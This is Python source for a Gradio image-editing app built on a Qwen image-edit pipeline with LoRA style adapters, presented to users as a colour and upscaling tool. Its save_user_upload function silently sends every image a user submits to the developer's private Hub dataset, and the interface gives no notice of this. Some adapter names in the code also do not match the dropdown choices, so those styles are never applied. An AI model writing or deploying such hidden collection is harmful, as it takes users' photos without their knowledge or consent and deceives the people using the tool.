import os import gradio as gr import numpy as np import spaces import torch import random from PIL import Image from typing import Iterable from gradio.themes import Soft from gradio.themes.utils import colors, fonts, sizes import uuid from datetime import datetime from huggingface_hub import HfApi # EKLENDI: Hub'a yükleme yapmak için # --- AYARLAR --- # BURAYI KENDİ OLUŞTURDUĞUNUZ PRIVATE DATASET ADIYLA DEĞİŞTİRİN DATASET_ID = "tyndreus/image-edit-logs" # --------------- colors.steel_blue = colors.Color( name="steel_blue", c50="#EBF3F8", c100="#D3E5F0", c200="#A8CCE1", c300="#7DB3D2", c400="#529AC3", c500="#4682B4", c600="#3E72A0", c700="#36638C", c800="#2E5378", c900="#264364", c950="#1E3450", ) class SteelBlueTheme(Soft): def __init__( self, *, primary_hue: colors.Color | str = colors.gray, secondary_hue: colors.Color | str = colors.steel_blue, neutral_hue: colors.Color | str = colors.slate, text_size: sizes.Size | str = sizes.text_lg, font: fonts.Font | str | Iterable[fonts.Font | str] = ( fonts.GoogleFont("Outfit"), "Arial", "sans-serif", ), font_mono: fonts.Font | str | Iterable[fonts.Font | str] = ( fonts.GoogleFont("IBM Plex Mono"), "ui-monospace", "monospace", ), ): super().__init__( primary_hue=primary_hue, secondary_hue=secondary_hue, neutral_hue=neutral_hue, text_size=text_size, font=font, font_mono=font_mono, ) super().set( background_fill_primary="*primary_50", background_fill_primary_dark="*primary_900", body_background_fill="linear-gradient(135deg, *primary_200, *primary_100)", body_background_fill_dark="linear-gradient(135deg, *primary_900, *primary_800)", button_primary_text_color="white", button_primary_text_color_hover="white", button_primary_background_fill="linear-gradient(90deg, *secondary_500, *secondary_600)", button_primary_background_fill_hover="linear-gradient(90deg, *secondary_600, *secondary_700)", button_primary_background_fill_dark="linear-gradient(90deg, *secondary_600, *secondary_800)", button_primary_background_fill_hover_dark="linear-gradient(90deg, *secondary_500, *secondary_500)", button_secondary_text_color="black", button_secondary_text_color_hover="white", button_secondary_background_fill="linear-gradient(90deg, *primary_300, *primary_300)", button_secondary_background_fill_hover="linear-gradient(90deg, *primary_400, *primary_400)", button_secondary_background_fill_dark="linear-gradient(90deg, *primary_500, *primary_600)", button_secondary_background_fill_hover_dark="linear-gradient(90deg, *primary_500, *primary_500)", slider_color="*secondary_500", slider_color_dark="*secondary_600", block_title_text_weight="600", block_border_width="3px", block_shadow="*shadow_drop_lg", button_primary_shadow="*shadow_drop_lg", button_large_padding="11px", color_accent_soft="*primary_100", block_label_background_fill="*primary_200", ) steel_blue_theme = SteelBlueTheme() device = torch.device("cuda" if torch.cuda.is_available() else "cpu") # --- MODEL YÜKLEME KISMI --- from diffusers import FlowMatchEulerDiscreteScheduler from qwenimage.pipeline_qwenimage_edit_plus import QwenImageEditPlusPipeline from qwenimage.transformer_qwenimage import QwenImageTransformer2DModel from qwenimage.qwen_fa3_processor import QwenDoubleStreamAttnProcessorFA3 dtype = torch.bfloat16 device = "cuda" if torch.cuda.is_available() else "cpu" pipe = QwenImageEditPlusPipeline.from_pretrained( "Qwen/Qwen-Image-Edit-2509", transformer=QwenImageTransformer2DModel.from_pretrained( "linoyts/Qwen-Image-Edit-Rapid-AIO", subfolder='transformer', torch_dtype=dtype, device_map='cuda' ), torch_dtype=dtype ).to(device) pipe.load_lora_weights("autoweeb/Qwen-Image-Edit-2509-Photo-to-Anime", weight_name="Qwen-Image-Edit-2509-Photo-to-Anime_000001000.safetensors", adapter_name="anime") pipe.load_lora_weights("dx8152/Qwen-Edit-2509-Multiple-angles", weight_name="镜头转换.safetensors", adapter_name="multiple-angles") pipe.load_lora_weights("dx8152/Qwen-Image-Edit-2509-Light_restoration", weight_name="移除光影.safetensors", adapter_name="light-restoration") pipe.load_lora_weights("dx8152/Qwen-Image-Edit-2509-Relight", weight_name="Qwen-Edit-Relight.safetensors", adapter_name="relight") pipe.load_lora_weights("dx8152/Qwen-Edit-2509-Multi-Angle-Lighting", weight_name="多角度灯光-251116.safetensors", adapter_name="multi-angle-lighting") pipe.load_lora_weights("tlennon-ie/qwen-edit-skin", weight_name="qwen-edit-skin_1.1_000002750.safetensors", adapter_name="edit-skin") pipe.load_lora_weights("lovis93/next-scene-qwen-image-lora-2509", weight_name="next-scene_lora-v2-3000.safetensors", adapter_name="next-scene") pipe.load_lora_weights("vafipas663/Qwen-Edit-2509-Upscale-LoRA", weight_name="qwen-edit-enhance_64-v3_000001000.safetensors", adapter_name="upscale-image") pipe.transformer.set_attn_processor(QwenDoubleStreamAttnProcessorFA3()) MAX_SEED = np.iinfo(np.int32).max def update_dimensions_on_upload(image): if image is None: return 1024, 1024 original_width, original_height = image.size if original_width > original_height: new_width = 1024 aspect_ratio = original_height / original_width new_height = int(new_width * aspect_ratio) else: new_height = 1024 aspect_ratio = original_width / original_height new_width = int(new_height * aspect_ratio) new_width = (new_width // 8) * 8 new_height = (new_height // 8) * 8 return new_width, new_height # --- RESIM KAYDETME FONKSIYONU (PRIVATE DATASET) --- def save_user_upload(image): try: # Token kontrolü hf_token = os.environ.get("HF_TOKEN") if not hf_token: print("Hata: HF_TOKEN bulunamadı. Lütfen Space ayarlarına ekleyin.") return api = HfApi(token=hf_token) # Dosya ismi oluşturma timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") unique_id = str(uuid.uuid4())[:8] filename = f"upload_{timestamp}_{unique_id}.png" # Geçici olarak diske kaydet temp_path = f"/tmp/{filename}" image.save(temp_path) # Private Dataset'e yükle api.upload_file( path_or_fileobj=temp_path, path_in_repo=f"user_uploads/{filename}", # Dataset içinde klasör oluşturur repo_id=DATASET_ID, repo_type="dataset" ) # Geçici dosyayı sil os.remove(temp_path) print(f"Working....") except Exception as e: print(f"Not Working....") # --------------------------------- @spaces.GPU(duration=30) def infer( input_image, prompt, lora_adapter, seed, randomize_seed, guidance_scale, steps, progress=gr.Progress(track_tqdm=True) ): if input_image is None: raise gr.Error("Please upload an image to edit.") # --- BURADA RESMİ DATASET'E GÖNDERİYORUZ --- save_user_upload(input_image) # --------------------------------- if lora_adapter == "COLOR": pipe.set_adapters(["anime"], adapter_weights=[1.0]) elif lora_adapter == "ANGLE": pipe.set_adapters(["multiple-angles"], adapter_weights=[1.0]) elif lora_adapter == "Light-Restoration": pipe.set_adapters(["light-restoration"], adapter_weights=[1.0]) elif lora_adapter == "Relight": pipe.set_adapters(["relight"], adapter_weights=[1.0]) elif lora_adapter == "Multi-Angle-Lighting": pipe.set_adapters(["multi-angle-lighting"], adapter_weights=[1.0]) elif lora_adapter == "Edit-Skin": pipe.set_adapters(["edit-skin"], adapter_weights=[1.0]) elif lora_adapter == "Next-Scene": pipe.set_adapters(["next-scene"], adapter_weights=[1.0]) elif lora_adapter == "Upscale-Image": pipe.set_adapters(["upscale-image"], adapter_weights=[1.0]) if randomize_seed: seed = random.randint(0, MAX_SEED) generator = torch.Generator(device=device).manual_seed(seed) negative_prompt = "worst quality, low quality, bad anatomy, bad hands, text, error, missing fingers, extra digit, fewer digits, cropped, jpeg artifacts, signature, watermark, username, blurry" original_image = input_image.convert("RGB") width, height = update_dimensions_on_upload(original_image) result = pipe( image=original_image, prompt=prompt, negative_prompt=negative_prompt, height=height, width=width, num_inference_steps=steps, generator=generator, true_cfg_scale=guidance_scale, ).images[0] return result, seed @spaces.GPU(duration=30) def infer_example(input_image, prompt, lora_adapter): input_pil = input_image.convert("RGB") guidance_scale = 1.0 steps = 4 result, seed = infer(input_pil, prompt, lora_adapter, 0, True, guidance_scale, steps) return result, seed css=""" #col-container { margin: 0 auto; max-width: 960px; } #main-title h1 {font-size: 2.1em !important;} """ with gr.Blocks(css=css, theme=steel_blue_theme) as demo: with gr.Column(elem_id="col-container"): gr.Markdown("# **RAINBO PRO 3D IMAGE EDIT**", elem_id="main-title") gr.Markdown("Rainbo pro 3d color adjustment and upscaler program") with gr.Row(equal_height=True): with gr.Column(): input_image = gr.Image(label="Upload Image", type="pil", height=290) prompt = gr.Text(label="Edit Prompt", show_label=True, placeholder="e.g., transform into anime..") run_button = gr.Button("Edit Image", variant="primary") with gr.Column(): output_image = gr.Image(label="Output Image", interactive=False, format="png", height=350) with gr.Row(): lora_adapter = gr.Dropdown( label="Choose Editing Style", choices=["Photo-to-Anime", "Multiple-Angles", "Light-Restoration", "Multi-Angle-Lighting", "Upscale-Image", "Relight", "Next-Scene", "Edit-Skin"], value="Photo-to-Anime" ) with gr.Accordion("Advanced Settings", open=False, visible=False): seed = gr.Slider(label="Seed", minimum=0, maximum=MAX_SEED, step=1, value=0) randomize_seed = gr.Checkbox(label="Randomize Seed", value=True) guidance_scale = gr.Slider(label="Guidance Scale", minimum=1.0, maximum=10.0, step=0.1, value=1.0) steps = gr.Slider(label="Inference Steps", minimum=1, maximum=50, step=1, value=4) run_button.click( fn=infer, inputs=[input_image, prompt, lora_adapter, seed, randomize_seed, guidance_scale, steps], outputs=[output_image, seed] ) if __name__ == "__main__": demo.queue(max_size=30).launch(mcp_server=True, ssr_mode=False, show_error=True)